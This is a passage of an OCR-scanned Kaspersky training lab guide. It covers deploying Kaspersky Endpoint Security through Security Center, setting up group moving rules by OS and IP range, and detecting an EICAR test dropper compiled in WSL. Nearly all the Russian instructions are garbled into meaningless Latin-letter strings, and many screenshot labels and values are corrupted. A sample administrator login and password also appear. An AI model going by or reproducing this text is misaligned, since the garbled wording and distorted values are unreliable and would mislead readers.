(@ ALEX-DESKTOF

cted entries: 2

22



KL 002.11.6:
Kaspersky Endpoint Security and Management

27. He meHsnTe
napameTpbl
KOMMpPOBaHMS MaKeToB
Ha KOMMbOTEPHI,
HaxmunTe Next

28. He meHsinTe
napameTpbl
nepesarpysku, HaXXmMnTe
Next

29. Cornacutecb ygansitb
HEecoBMeCTUMbIe
nporpaMmmbl U HAXXMUTE
Next

kaspersky

JlabopaTopHasi paboTa 2.
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Protection Deployment Wizard

Remote installation task settings

Task type
Remote installation of
Kaspersky Endpoint Security for Windows (11.6.0) (English) (L

ryption)_11.6.0.394

Task name

Remote installation task

Force installation package downleoad
| v Network Agent
operating system re

nts

through distribution p

through Administration
Pl of a cloud service |

B3 Donotre-i
Assign pac

Protection Deployment Wizard

Select the action that will be performed if the application installation prompts you to restart the operating system:

application if it is already installed

stallation in Active Directory group policies

Do not restart the device
Restart the device
®) Prompt user for action
The application has been successfully installed on the device. Your

system must be restarted to :ompteté installation.

Message text

B Repeat prompt e
5

B Restart after (min)

30

sions (min)

Wait time before forced closure of applications in blocked s¢

Protection Deployment Wizard

Removing incompatible applications before installation

B Uninstall incompatible applications automatically
You cannot install the application on devices protected by another security application or by a

vall All incompatible applications must be remaoved
Incompatible applications

360 Anti Virus

360 Antivirus Software

AEC TrustPort Antivirus 2.8.0.2237

AEC TrustPort Personal Firewall 4.0.0.1305
ALWIL Avast 5

ALWIL Software Avast 4.0

ALWIL Software Avast 4.7

AlYac 21

AVG 10.0.1136 Free Edition
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30. CornawwanTecb nocre
YCTaHOBKU
nepemMecTuTb
KOMMbIOTEPBI B rpynny
Move unassigned
devices to group,
oTmeTbTe Managed
devices n HaxmnTe
Next

31. YTobbl ykasaTb MMs U
naponb
agMuHucTparopa ans
AocTyna K
KOMMbIOTEPAM,
Bblbepute Account
required (Network
Agent is not used).

32. [JobaBbTe y4ETHYIO
3anucb: HaxmnTe Add

33. BeeguTe noruH
abc\administrator,
naponb Ka5per5Ky un
Haxxmute OK

34. OtmeTbTe onuuto Run
the task after the
Wizard finishes

35. Haxkmute OK

36. B 6okoBOM MEHI0
BblbepuTe Devices |
Tasks

37. HaxmuTe Ha 3agady
yAarneHHON yCTaHOBKU
Kaspersky Endpoint

Security ana Windows:

Remote installation
task

kaspersky

JlabopaTopHasi paboTa 2.
Kak BHegputb Kaspersky Endpoint Security

Protection Deployment Wizard

Move to list of managed devices
Specify whether devices must be moved to an administration group after Network Agent installation

Do not move devices

®) Move unassigned devices to group

Protection Deployment Wizard

Select accounts to access devices

No account required (Network Agent installed)
®) Account required (Network Agent is not used)

Add an account with administrator privileges to the devices or perform installation through an Active Directory account with administrator privileges.

-+ Add # Edit A Mo w Move down Delete

Name Type

No data

Type

Local Account v

Account

abc\administrator

Password

Protection Deployment Wizard

Starting installation

a schedule, go to the Tasks folder and set the task run schedule in the Schedule section of the task properties

DEVICES / TASKS

Current path: KSC

KASPERSKY [+ Add|[>stat| m s [ Ostop | | x Delete | | = Refresnlist | | 1 Copy | Q
SECURITY CENTER -
W Task name Application Task type
Kaspersky Endpoint Security for Windows (11.6.0)
[J Installupdates Kaspersky Endpeint Security for .. >>  Update

Kaspersky Security Center 13 Administration Server

T= DEVICES

> Administration Server maintenance

Kaspersky Security Center 13Ad.. >>  Install application remotely
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BbIMNOJTHAETCA Ha OBYX GENERAL RESULTS SETTINGS APPLICATION SETTINGS SCHEDULE  REVISION HISTORY ACCESS RIGHTS
KOMMbOTEPax

Applicaticn name Kaspersky Security Center 13 Administration Server
Task type Install application remotely

Task name Remote installation task

Created 03/30/2021 12:32:13 pm

Last action Start 03/30/2021 1:11:40 pm

Last execution results

20

. W rcinso
- [ T —
::5 W serecuiesi0
z-: W 0
39. D,O)K,D,VITer | I( Kaspersky Security Center 13 — X
yBeaoMI1eHUA O ToOM, | Kaspersky Endpoint Security for Windows (11.6.0)
4YTO ANnA ycnewHoro |
3aBepLUeHna 3agadn The application has been successfully installed on the device, Your system must be restarted
| to complete installation.
KoMnbloTepbl TpebyeTca |
nepesarpy3ntb
Would you like to restart your operating system now?
| Restart | Postpone |

3apaHue B: Co3paiite aBTOHOMHbIN NakeT ycTaHoBkM Kaspersky Endpoint
Security

OTKpoWTe CnNMCoK NakeToB ycTaHoBKN. Bbibepute nakeT Kaspersky Endpoint Security. 3anyctute mactep
C03[aH1sa aBTOHOMHOro naketa. [lo6aBbTe K ycTaHOBKe AreHT agMMHUCTPUPOBaHUA 1 BbibepuTe rpynny, B
KOTOPYtO nonagyT KOMMbTEPbl C AreHTOM.

5

KsC

40. Bongute B cuctemy nog y4eTHom 3anucbto abc\Administrator c naponem Ka5per5Ky

41. 3anyctute Web-KkoHCONb agMUHUCTPUPOBaHMS
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o DISCOVERY & DEPLOYMENT / DEPLOYMENT & ASSIGNMENT / INSTALLATION PACI
42. MNepenguTte B y3en

Discovery &
Deployment |
Deployment & KASPERSKY

(1.1 Downloaded In progress (0

. SECURITY CENTER
ASS|g nm ent | | 4 Add ‘ ‘ % Delete ‘ ‘ * Refresh 4 Deploy | | [& View the list of stand-alone packages Q
InSta“atlon PaCkages W Name Source Application Version
43. Bhlbepute & >>  Kaspersky Exchange Mobile De.. >> 130011247
n HCTann;"J!VIOHHbI 7 DISCOVERY & DEPLOYMENT (] i0S MDM Server (13.0.0.11247) Kaspersky 105 MDM Server 130011247
naker KaSperSky > Kaspersky Kaspersky Security C... > 1300.11247
Endpoint Security for
WI n d ows - Kaspersky Kaspersky Endpoint 5. >> 1160394
44. KnukHUTE MO KHOMKe & DEPLOYMENT 6 ASSIGN...
Dep'oy ¢ Previous 1 Next »
INSTALLATION PACKAGES
45, Bbl6epVITe USiﬂg a Protection Deployment Wizard

stand-alone package

46. Haxxmute Next

Select the deployment method for the selected installation package

Using the remote installation task

® Using a stand-alone package

Next
47. OTMeTbTe In Sta| | Stand-alone Installation Package Creation Wizard
Network Agent
tOg ether with this Select Network Agent installation package for combined installation
ap pI ication B3 Install Network Agent together with this application
48. Haxmute Next Name
. Kaspersky Security Center 13 Network Agent (13.0.0.11247)
New...
nepemMelLleHme B rpynny:
Bbl6epVITe Move Move to list of managed devices
u I"-IaSSI g ned devices to Specify whether devices must be moved to an administration group after Network Agent installation.
this group

Da not move devices
50. Ha)KMI/ITe Se|eCt gI’Oup 8 Move unassigned devices to this group
Managed devices

Select group

51. OtmeTbTEe Managed
devices

52. Haxmute OK

53. Haxmute Next
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54. B oTKpbIBLUENCSA
cTpaHuue
oTobpaxkaeTcs NyTb K
yCTaHOBOYHOMY chaviny

55. 3akponte mactep:
HaxmuTe Finish

JlabopaTopHasi paboTa 2.
Kak BHegputb Kaspersky Endpoint Security

Stand-alone Installation Package Creation Wizard

Result of stand-alone installation package creation

Stand-alone installation package (installer.exe) for the selected applications has been successfully generated in the shared folder
\\KSC\KLSHARE\PkglInst\Kaspersky Endpaint Security for Windows (11.6.0} (English) (Lite encryption]_11.6.0.3

Further actions

Email link to stand-alone installation package

Copy the sample link to th created stand-alone installation package for publication on an HTML web page
Download stand-alone installation package

Open the list of stand-alone packages

3apaHue C: YcTaHoBuTe aBTOHOMHbIN nakeT Kaspersky Endpoint Security ans

Windows Ha HOYyTOYyK

C KnuneHTCKOro koMmnbtoTepa oTkponTe obyto nanky KLSHARE Ha CepBepe agMnHucTpupoBanns. Hangurte n

3anycTtmnte aBTOHOM HbI NakeT.

Tom-Laptop

56. Ha komnbloTepe Tom-Laptop 3anyctute
Windows Explorer

57. OTkponTe ceTeByto nanky
\\KSC\kIshare\Pkginst\

58. 3anycTtute MHcTannsaTop

59. HayHuTe ycTaHoBKY: HaxmuTe Start
installation

kaspersky

| | B - | Phginst
File Home Share View

» U oh Cut

W Copy path

d X I T New item - Open - Fselectall

£ Easy access v Edit 15 Select none
= Meve Copy Delete Rename  New Properties
[7] Paste shortcut ¢ B B folder S

Clipboard Organize New Open Select

PintoQuick Copy Paste
aceess B History  HF Invert selection

« v » Network » ksc » Kishare » Pkglnst » v O
Name Date modified Type Size
# Quick access
NetAgent_13.0.0.11247_KES_11.6.0.394 30-Mar-2113:16 File folder

@ OneDrive
3 This PC

1 3D Objects

B Deskiop

Documents

& Downloads

B Music

[&] Pictures

B Videos

“ Local Disk (C:)

1] DVD Drive (D) 15.0.4569.1506

= k002,116 (\10.68.18.4) (2

1 Network

l¢ Kaspersky Security Center 13 -

Preparing for administration task

Tit New applications will be installed on your device: Kaspersky Endpoint Security for Windows (11.6.0)

(English) (Lite encryption)_11.6.0.394 and Kaspersky Security Center 13 Network Agent
(13.0.0.11247).

Before installation, you must do the following:
- Save your data

- Close all running applications

Start installation Cancel
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60. MNogoxauTe, Noka ycTaHOBKa 3aKOHYUTCS, U
3aKpONTE OKHO C pe3yrbTaTamMu: HOXMUTE
Ok

JlabopaTopHasi paboTa 2.
Kak BHegputb Kaspersky Endpoint Security

¢ Kaspersky Security Center 13

Installation completed successfully
T

23 Extracting archive to temporary location
23 Installing: Kaspersky Security Center 13 Network Agent (13.0.0.11247)
{# Checking connection to Administration Server

&3 Installing: Kaspersky Endpoint Security for Windows (11.6.0) (English) (Lite
anrnsntiant 11 & N 304

3apaHue D: NayunTe pe3ynbTaThl pa3BepTbiBaHUS 3alUTbl B CETU

UN3yunTe pesynbTaTthl 3a4aym ycTaHoBku. [TpoBepbTe, YTO KOMMbIOTEPLI Nonanu B rpynny Managed Devices.
MpoBepbTe, YTO Ha KOMMbIOTEPAX YCTaHOBMNEHLI AreHT aaMUHUCTpUpoBaHnsa 1 Kaspersky Endpoint Security.

|

KsC

61. OTKponTE BEO-KOHCOb
Kaspersky Security
Center

KASPERSKY
SECURITY CENTER

62. B 6okoBOM MeHI0
BblbepuTe Monitoring

& Reporting | Reports

63. Haxxmnte Report on
Kaspersky software
. REPORTS
versions
64. NpoeepbTe, UYTO B CETU

€CTb TpM 3K3emnnsapa
Kaspersky Endpoint
Security n Tpu
ak3emnnapa AreHta
aaMVHUCTPUPOBaHNS
— CTOrbKO Xe€,
CKOMbKO 1
KOMMbHOTEPOB

# Edit

Summary

65. 3akponTe oTtyer

Search

Application

[+ad]| o

| Name

MONITORING & REPORTING / REPORTS

[ &> Newreport deliverytask | >

Q

Type Scope Description

Protection status

Report on errors Reporton errors Pratection status >>

This report describe.

tection status Report on protectio.. »>  Protection status This report provides... >>

Deployment

>> Reporton Kaspersk.. >> Deployment This repart lists the

Created

03/26/2021 1202:15pm  03/2
03/26/2021 1202:15pm  03/2

03/26/2021 1202:15pm 0372

& Refresh

Details

E

Report on Kaspersky software versions

[> Export

Report on Kaspersky software versions

Tuesday, March 30, 2021 1:35:10 PM
This report lists the current versions of Kaspersky software installed. This report is generated for all groups

E

Number of devices

Version number

Number of devices

1160394 3

Number of groups
1
1

1

kaspersky
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3akJiioueHue

Bbl ycTaHoBunu Kaspersky Endpoint Security u AreHT agMUMHUCTPUPOBaHUS C MOMOLLIbIO MacTepa yaaneHHoN
YCTaHOBKW 1 C MOMOLLIbK0 aBTOHOMHOIO NakeTa.

Ecnu Ha koMnbloTepax ecTb CTOPOHHUE aHTVMBUPYChI, MHCTaNNATOP yaanseT ux U NpocuT nepesarpy3nTb
KOMMbloTep.

Ecnu Ha koMnbloTepax 3anyLeH CeTEBOM 3KpaH UK Bbl He 40GaBMNM B 3aa4y YYETHYH0 3anucb C NpaBamMu
aAMUHMCTpaTopa Ha KOMMbHTEPe, YCTAHOBKA 3aKOHYMTCS C OLLMGKOM.

JlabopaTtopHasa paboTa 3.
Kak co3paTb CTPYKTYPY ynpaendembiX KOMMNbIOTEpPoOB

CueHapun. Bbl ycTaHOBMAM 3aLLMTY HA KOMMbIOTEPDLI CETU N XOTUTE HAaCTPOUTb €€ ONTUMarbHbIM 06pasom.
Mpeanonaras, YTo HaCTPONKN AN CEPBEPOB, HACTONbHBIX N MOBUITbHBIX KOMMNBIOTEPOB OYAYT OTNMYaTbLCS,
co3fanTe ons HAX rpynnbl U MOMECTUTE Tyaa COOTBETCTBYHOLLME KOMMbIOTEPLI. YUTOOLI HE BbIOMpPaTb BPYYHYHO,
Kakom KOMMbIOTEP OOIMKEH ObITb B KAKOW rpynne, co3ganTe npasunia nepemMeLl,eHnsi 1 HAaCTPOMTE B HUX YCINOBMS Ha
OCHOBE OMnepaLMOHHbIX CUCTEM U CETEBbLIX MAPaMETPOB KOMIMbHOTEPOB.

CopepxaHue. B aTon nabopatopHon paborte:

1. Cospgante rpynnbl paboynx cTaHLMin, MOBUIBHBIX KOMMBIOTEPOB U CEPBEPOB
2. PacnpepennTe KOMNbOTEPbI MO rPyMnamM ¢ NOMOLLbIO NPaBuI
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3apaHue A: Co3paiiTe rpynnbl ans pabounx cTaHUMiA, MOBGUbHBIX
KOMMNbIOTEPOB N CepBepoB

CospganTte nogrpynnel Servers n Workstations B koHTennHepe Managed Devices. 3atem co3garite nogrpynmbl
Desktops u Laptops B rpynne Workstations.

=l & (3 e

Tom-Laptop  Alex-Desktop

1 B 6OKOBOM MEHIo DEVICES / HIERARCHY OF GROUPS

BbIbepuTe
Devices |

Hierarchy of SECURITY CENTER Adminitzation group
groups IR

m [add]| x b  Refresh lst | [ @ Import =

< Previous 1 Next > 20 ~  Result1-1/1total

2. Bblbepute rpynny:
Managed devices

T= DEVICES

3. [obaBsbTe
noarpynny
KOMMbIOTEPOB:
Haxmute Add

HIERARCHY OF GROUPS

4 BBe,D,VITe nms DEVICES / HIERARCHY OF GROUPS

Servers u
HaxmuTe Add

#

+ x 2 Refresh list | | & Import

KASPERSKY
SECURITY CENTER

A G < Previous 1 Next » 20 ~  Result1-1/1total

= DEVICES

HIERARCHY OF GROUPS
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5 ,D,O6aBbTe eLU,e DEVICES / HIERARCHY OF GROUPS

OZHY noarpynny,
Ha30BUTe ee

H KASPERSKY
WOI‘kStatIons SECURITY CENTER | Administration group

4 Add x Delete 3+ Move £ Refresh list & Import

#

6. BblbepuTe rpynny
Workstations u
HaxmuTe add

evious Next Result: 1-1 /1 total
T= DEVICES < Previous 1 Next » 20 ~

HIERARCHY OF GROUPS

7 BBeﬂVITe DEVICES / HIERARCHY OF GROUPS

HasBaHuWe rpynnel
Desktops

4 X i 22 Refresh list & Import

#

KASPERSKY
SECURITY CENTER
8. [loBTopuTe Warn 6

n 7 n co3gante

rpynny Laptops

T= DEVICES

< Previous 1 Next » 20 v  Result1-1/1total

HIERARCHY OF GROUPS

3apaHue B: Pacnpeaenute komnbioTepbl Mo rpynnam ¢ NOMOLLbIO MpaBul

OTkponTe cnncok npaeun B cBoncTBax yana Unassigned devices. Caenarite npaBuso Anst BCEX KOMMNbIOTEPOB,
KoTopoe paboTaeT NOCTOSIHHO M NOMeLLaeT KoMMbloTepbl B rpynny Servers. Mcnonb3ynTe ycnosue Network agent
is running co 3Ha4yeHnem Yes n Operating system version co 3HayeHnsmn Windows Server 2016. O6a
YCINoBMsl HaXoasiTcs Ha Bknagke Applications.

CospaiiTe aHanorMyHble NpaBuna, KOTopble NOMELLa0T KOMMbIOTEPLI B rpynnbl Desktops u Laptops. Bmecto

ycnosus Operating system version, ucrnons3syinte ycnosue IP Range Ha Bknagke Network. [1na HacTonbHbIX
KOMMbIOTEPOB YkaxuTe amnanasoH 10.28.0.100-10.28.0.199, a ans Hoyt6ykos 10.28.0.200-10.28.0.254.
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3agaHue BbinonHsieTcs Ha komnbtoTepe KSC.

9. Tllepengnte Ha
cTpaHuuy Discovery
& Deployment |
Deployment &
Assighment |
Moving Rules

10. Haxxmute Add

KASPERSKY
SECURITY CENTER

E3 OPERATIONS
E# DISCOVERY & DEPLOYMENT
D DEVICES
D

& [MOVING RULES 3SIGN..

MOVING RULES

11. Beeaunte nmsa
npasuna Servers

12. YkaxuTe rpynny
HasHa4yeHwus: B
BbiNagatoLem
crnmcke BblbepuTe
noarpynny managed
devices | Servers

Rule name

Administration grou

=

Apply rule

13. BbibepuTte pexum
Apply rule
continuously

Enable rule

JlabopaTopHasi paboTa 3.
Kak cosgaTtb CTPYKTypy yrpaBrisieMblX KOMMb OTEPOB

DISCOVERY & DEPLOYMENT / DEPLOYMENT & ASSIGNMENT / MOVING RULES

~ v f Add
Rule name Status Rule group
[ o] Mana; e
evices to anaged devices (#£0) after Net . >> @0 Mznaged devices

€ Previous 1 Next >

GENERAL  RULE CONDITIONS

Run once for each device

device, then at every Network Agent reinstallation

s that do not belong to an administration group

14. MpumeHnTe NpaBno KO BCEM KOMMbIOTEPAM: CHUMUTE OTMETKY ¢ napameTpa Move only devices that do

not belong to an administration group

15. BknouuTte npaBumno: NnoctaBbTe OTMETKY BO3J1e OAHOMMEHHOI onunn

kaspersky
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16. OTkponTte Rule

JlabopaTopHasi paboTa 3.
Kak cosgaTtb CTPYKTypy yrpaBrisieMblX KOMMb OTEPOB

3 Servers

17.

18.

19.

20.
21.
22.

23.

24.

25.

26. Bbibepute pexum Apply rule continuously

conditions

Mepenaute Ha
BKIaaKy
Applications

M3 BbinagatoLlero
crnmcka Bblbepute
onuwuto, 4yto CeTeBomn
AreHT yCTaHOBIEH:
Yes

lMpumennTe npasuno
K KOMNblOTEpam ¢
cepBepHbIMM
onepaLnoHHbIMK
cucTeMamu:
BKINOYMTE NapameTp
Operating system
version

MpoKpyTUTE CNUCOK OO0 KOHLUA W NepernanTe Ha BTOPYHO CTpaHuLy

GENERAL  RULE CONDITIONS
Tags Network Applications Virtual machines Active Directory Cloud segments

Network Agent is installed

@D Operating system version

Operating system

Microsoft Windows Server 2008

Microsoft Windows Serv

Microsoft Windows Server 2012

Microsoft Windows Server 2012 R2

@

Microsoft Windows Server 201

OTmeTbTe onepaumnoHHble cuctemsl Microsoft Windows Server 2016

COXpaHVITe npasumno: HaxMmTe Save

Cospaiite npaBuno
O HACTONbHbIX
KOMMbIOTEPOB:

HaxmuTe Add KASPERSKY

SECURITY CENTER

DISCOVERY & DEPLOYMENT
u NED DI

VERY

& "MOVING RULES SSIGN--

MOVING RULES

Beeante nms
npasuna Desktops

Ykaxute rpynny
HasHaveHusa: B
BblMagaroLiem
cnmcke BblbepuTe
noarpynny Managed
devices |
Workstations |
Desktops

DISCOVERY & DEPLOYMENT / DEPLOYMENT & ASSIGNMENT / MOVING RULES

~ ~ + Add
Rule name Status Rule group
Remote install [ @]
e devices to group ‘Managed devices [##1 er Nef > ()
Sel [ @]

< Previous 1 Next »

New rule

GENERAL  RULE CONDITIONS
Rule name Desktops
Administration group Desktops v

Apply rule

Runo h device

Run o h device, then at every Network Agent reinstallation
® Applyru ntinuously

Move only devices that do not belong to an administration group
Enable rule

kaspersky
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27

28.

29.

30.

31.

32.

33.

34.

35.

36.

37.

JlabopaTopHasi paboTa 3.

Kak cosgaTtb CTpYKTypy yrpaBrisie MbiX KOMMb OTEPOB

. MprmeHnTE NpaBMio KO BCEM KOMMbLIOTEPAM: CHUMUTE OTMETKY C napameTpa Move only devices that do
not belong to an administration group

MepenguTte Ha
Bknagky Rule
conditions

HacTtponTte ycnosus
onsa IP-agpecos:
nepenanTe Ha
Bknagky Network

[MpumennTe npasunno
K KOMMblOTEpPaM C
agpecamu B
3aJaHHOM
WUHTepBarne:
BKNOYMTE NapameTp
IP range

BeguTte HavanbHbIN
M KOHEYHbIN IP-
agpec 10.28.0.100 u
10.28.0.199
COOTBETCTBEHHO

MepenauTe Ha
BKI1agKy
Applications

M3 BbinagatoLero
cnucka Bblbepute
onuwuto, yto CeTeBomn
AreHT yCTaHOBIEH:
Yes

Coxpanute
npaBuno: HaXMUTe
Save

Cospgawnte npasuno
Laptops

Ykaxute rpynny
HasHayeHus: B
BbiNagatoLem
cnucke Bblbepute
noarpynny Managed
devices |
Workstations |
Laptops

BknrounTte npaBuno: nocraBbTe OTMETKY BO3Jie OAHOMMEHHOM onunn

GENERAL  RULE CONDITIONS

Tags Metwork Applications Virtual machines

Device name on the Windows network
Windows domain

DNS name of the device

DNS domain

IP range
From 10.28.0.100
To 10.28.0.159

IP address for connection to Administration Server

Connection profile changed

Managed by a different Administration Server

Active Directory Cloud segments

GENERAL  RULE CONDITIONS

Tags Network Applications Virtual machines
Network Agent is installed Yes
Operating system version
Operating system bit size
Operating system service pack version
User certificate

Operating system build

Operating system release number

Active Directory Cloud segments

® New rule

GENERAL  RULE CONDITIONS

Rule name Laptops
Administration group Laptops
Apply rule

Rui ach device

Run once for each device, then at every Network Agent reinstallation

® Apply rule continuously
Move only devices that do not belong to an administration group

B3 Enable rule

38. BbibepuTte pexxum Apply rule continuously

39. CHumuTe OTMETKY ¢ napameTpa Move only devices that do not belong to an administration group

40. OTmeTbTe napameTp Enable rule

kaspersky
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41. lMNMepengute Ha
BKIagky YenoBus
npaBuna

42. lNMepengute Ha
Bknagky Network

43. Bknoynte napameTp
IP range

44. BegnTe HavanbHbIN
M KOHeYHbIn |P-
agpec 10.28.0.200 n
10.28.0.254
COOTBETCTBEHHO

45. MNepengnte B
pasgen
Applications

46. /3 BbinagawoLLLero
cnmcka BblbepuTe
onuuto, Yto CeTteBom
AreHT yCTaHOBIIEH:
Yes

47. CoxpaHute
NpaBumo: HAXMNTE
Save

48. B cnucke npasun
JOIMKHO ObITb
CO3[aHo NATb
npasun
nepemMeLLeHus: asa
oT
WHCTanMsLMOHHbIX
nakeToB, TpU
CO3[aHHbIX BaMK

kaspersky

SECURITY CENTER

JlabopaTopHasi paboTa 3.
Kak cosgaTtb CTPYKTypy yrpaBrisieMblX KOMMb OTEPOB

GENERAL  RULE CONDITIONS
Taas Network Applications Virtual machines Active Directory Cloud segments
Device name on the Windows network

Windows domain

DNS name of the device

DNS domain

Prange
From 10.28.0.200
To 10.28.0254

P address for connection to Administration Server

Connection profile changed v

Managed by a different Administration Server w

GENERAL  RULE CONDITIONS

Tags Network Applications Wirtual machines Active Directory Cloud segments
Network Agent is installed Yes v

Operating system version

Operating system bit size v

Operating system service pack version

User certificate v

ng system build

)perating system release number

DISCOVERY & DEPLOYMENT / DEPLOYMENT & ASSIGNMENT / MOVING RULES

~ v I Add
Rule name Status Rule group
e devices to gr frer Net -
©
©
Laptops [ &) Laptops

< Previous 1 Next ¥
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49.

50.

51.

52.

MepenauTe Ha
cTtpanuuy Devices |
Managed Devices

HaBepxy cTpaHuLbl
HaXXMUTE Ha MyTb
KSC / Managed
Devices

B goepese rpynn
Bblbepute KSC |
Managed Devices |
Servers

MpoBepbTe, UTO
komnbtoTep KSC ¢
onepaunoHHON
cuctemon Windows
Server 2016 6bin
aBTOMaTmn4yecku
nepemeLLeH B
rpynny Servers

JlabopaTopHasi paboTa 3.

Kak cosgaTtb CTpYKTypy yrpaBrisie MbiX KOMMb OTEPOB

m 4 Select administration group

~ KSC
i +~ Managed devices
KASPERSKY ~ Servers
SECURITY CENTER }
~ Workstations
Laptops

Desktops

MANAGED DEVICES
DISTRIBUTION POINTS
MOVING RULES

DEVICE SE

Visible

Last connected to Admini... >

04/20/2021 3:13:43 pm

< Previous 1 Next >

DEVICES / MANAGED DEVICES

Current path: KSC anaged devices / Servers

KASPERSKY Add devices | x
SECURITY CENTER

Name Visible

T= DEVICES

P

MANAGED DEVICES

Last connected to Admini.. >>

021 31343 pm

< Previous 1 Next >

Result: 1-20 / 20 tota

£ T

Network Agent

53. CamocTosaTENbHO npoBepbTe, YTO OCTalIbHbIE KOMMbKOTEPbI NepeMeCTUITMCb B COOTBETCTBYOLLUE Irpynnbl

3akniouyeHve

Bbl ycTaHOBUNM 3aWLMTY U pacnpeaenvnm KoMmbTepbl B rpynnbl. HacTpoliku no yMonyaHuio paccymtaHbl Ha
cpeaHero nonb3osaTtens Kaspersky Endpoint Security. OHM HagexXHO 3alumMLLaloT KOMMbIOTEPI, HO CTapatTcs Kak
MOXXHO MeHbLLIe BNNSTb Ha paboTy nonb3oBaTens. M3ayymB HAaCcCTPOMKK, Bbl MOXKETE M3MEHUTL GanaHc Mexay
3aWMTON N KOMGOPTOM MONb30BaTENEeN: YCUNUTL 3alMTY B OOHUX acrekTax U, MOXeT OblTb, HE3HAaYUTENbHO
ocnabuTb B ApYrux, yBenmume koM@opT. Kak MEHSATb HACTPOMKM 3alLMTbl pacckasbiBaloT AanbHenwmne
nabopaTopHble paboTbl.

kaspersky
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JlabopaTtopHas paboTa 4.
Kak npoBeputb 3awmnTty B Windows Subsystem for
Linux

CueHapwmn. o ymonuyanuto Kaspersky Endpoint Security nogaepxusaet Windows Subsystem for Linux, 3ato Takown
CMON COBMECTUMOCTM ON1d 3anycka Linux-npunoxeHun B nocnegHux sepcusx Microsoft Windows. B Hawem cnyyae
Windows Subsystem for Linux pabotaeTt Ha 6a3se Kali Linux 2018. 3agaya agMmMHucTpaTopa — 3anycTuTb
TeCcToBbIV BpegoHocHbI charin B Windows Subsystem for Linux n y6egntbcsa, uto Kaspersky Security ans
Windows Server 0BHapyxuT 1 yganuT ero.

B aton nabopatopHol paboTte Mbl ckKoOMNUNMpyeM 3arpy3duk eicar.com B Windows Subsystem for Linux, koTopasi
pabotaeT Ha Windows 10.

1. Haxmute Win+R

2. B none BBOOa BBeguTE
wsl =] Type the name r.:_lf a program, fold;r, document, or Internet
=1 resource, and Windows will open it for you.

3. HaxmuTte kHonky OK

Open: | wel ~ |

4. CkonnpynTe NCXOOHbIV KO eicar-gponnepa B nanky /tmp:
cp /mnt/c/temp/eicar drop kl edu.cpp /tmp/

B tom@tom-laptop: /mnt/c/Users/tom.ABC

5_ nepeﬁnMTe B nanKy [n ] tom@tom-laptop: /trmp
ftmp: :

cd /tmp/
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Kak npoBeputb 3awmty B Windows Subsystem for Linux

6. CkomnunupynTe eicar-dropper KOMNUIATOPOM g++:

g++ eicar drop kl edu.cpp -o eicar dropper

W tom@tom-laptop: /tmp

7. 3a|-|yCTV|Te N tom@tom-laptop: /tmp
CKOMI'IVIJ'IVIpOBaHHbIIZ ;
eicar-dropper gann:

icar dropper

./eicar dropper

8. OrTkpoiTe nHTepdeic I Kaspersky EndposiESeein
Kaspersky Endpoint
Security: WenkHUTe
NeBOW KnaBuLen Mbiln
no nkoHke KES B
CUCTEMHOW NaHenu

9. Haxmute More Tools

10. B nosiBuBLLEMCS MEHIO
BbIOepuTe Reports

Threat detection technologies

O

Protection components

Kaspersky Security Network

Application Activity Monitor Database Update

WED SO

Network Monitor

More Tools
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. eports — (m}
11. Bbibepute otyerT File s
Threat Protection ¢
o File Threat Protection ® | Update || Savereport |
12. Hangute cobbiTna
a System audit Importance: ‘ @ o |

0BHapyxeHus yrpo3

© Advanced Threat Protection Time: ‘ Month + ‘ 01-Mar-21 01-Apr-21

13. Hangnte pesynbTaThl
06paboTkn 3TNX yrpos

Behavior Detection
Event date 4 Object
Exploit Prevention
Today, 30-Mar-21 14:30:29  C\Users\tom.ABC\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows,
Host Intrusion Prevention
(a] Today, 30-Mar-21 14:30:29  C\Users\tom.ABC\AppData\Local\Packages\CanenicalGroupLimited.UbuntuonWindows,

O Essential Threat Protection (@ Today, 30-Mar-21 14:30:29  CA\Users\tom.ABC\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows,

File Threat Protection [ Today. 30-Mar-21 14:30:16 C:\Users\tom.ABC\AppData'Local\Packages\CancnicalGroupLimited.UbuntuonWindows,
Web Threat Protection Today, 30-Mar-21 14:28:42 C\ProgramData\Kaspersky Lab\KES\Setup\agent\endpointagent.msi

Mail Threat Protection @ Today, 30-Mar-21 14:25:08

Firewall () Today, 30-Mar-21 13:25:01

Network Threat Protection

AMSI Protection Today, 30-Mar-21 14:30:29 Object deleted
Event: Object deleted

(3 Security Controls User: ABC\Tom

User type: Active user

Application name: eicar_dropper

Application path: C:A\Users\tom.ABC\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgscLocalState\rootfs
\tmp

Compaonent: File Threat Protection

Result description: Deleted

Type: Virus

Name: EICAR-Test-File

Adaptive Anomaly Control

Application Control

Device Control

Web Control

3akJiioueHue

Ota nabopatopHasa paboTta nokasbiBaeT, kak Kaspersky Endpoint Security ymeeT obHapyxuBaTb BPE4OHOCHbIE
doaiinbl, KOTOpble coxpaHatTcs unm cosgatotcsa B Windows Subsystem for Linux.

JlabopaTtopHas pabora 5.

Kak HACTPOUTDb 3aLlMNTY OT NOYTOBDLIX YIrpo3

CueHapun. Korga Bbl NnocbinaeTte rno novte UCnonHsembl pan, 4Tobbl Nonb3oBaTenb ero 3anycTun 1 peLunn
cBoto npobnemy, Kaspersky Endpoint Security nepenmeHoBbiBaeT BnoxeHne. Ytobbl He 06BACHATD
nornb30BaTensaM Kak nepenMeHoBaThb ero Ha3ag 1 He TepsTb BPeMsl, HACTPONTE 3alMTy OT MOYTOBLIX YTPO3 He
nepenmeHoBbIBaThb (harinbl. OAHaKO 310YMbILLNEHHUKM YacTo NCMOMb3YT hansibl C ABOVHLIM PaCLUMPEHMEM,
4TOObI OOMaHHbLIM NyTEM 3aCTaBMTb NONb30BaTENS 3anyCTUTb MCMOMHAEMbIN hann Nog BUOOM AOKYMEHTa. Takue
dainbl HYKHO YHUYTOXATb.

CopepxaHue. B aton nabopatopHoi paboTe HacTponTe 3alnTy OT NMOYTOBLIX YTPO3 HE NMEPENMEHOBbLIBATb
BMOXEHHbIE *.exe-halsibl U YHUYTOXaTb dhannibl C ABONHBIM paclumpeHneM *.pdf.exe.

1. OTnpaBbTe NUCbMO C UCMOSHAEMbIM haniom

2. OTtpenaktupyinte UNbTP BIOXEHWI
3. [poeepbTe, 4TO 3awmTa OoT [NoUTOBLIX Yrpo3 GoNbLUe HE PeAaKTUPYET BIIOXEHMUS

3ana|-|v|e A: OTnpaBbTe MACbMO C UCNOJTHAeMbIM ¢aI7IJ'IOM

